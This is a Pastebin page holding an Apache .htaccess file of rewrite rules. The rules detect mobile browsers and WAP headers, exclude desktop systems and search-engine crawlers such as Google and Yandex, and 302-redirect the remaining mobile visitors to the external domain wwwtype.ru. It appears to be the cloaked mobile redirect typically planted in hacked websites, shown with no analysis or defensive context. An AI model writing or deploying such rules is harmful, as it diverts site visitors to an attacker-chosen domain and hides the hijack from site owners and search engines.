Advertisement
PalmaSolutions

.htaccess

May 20th, 2018
634
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. RewriteEngine on
  2. RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
  3. RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
  4. RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
  5. RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
  6. RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
  7. RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
  8. RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
  9. RewriteCond %{HTTP:Profile} .+ [NC,OR]
  10. RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
  11. RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
  12. RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
  13. RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
  14. RewriteCond %{QUERY_STRING} !noredirect [NC]
  15. RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
  16. RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
  17. RewriteRule ^(.*)$ http://wwwtype.ru [L,R=302]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement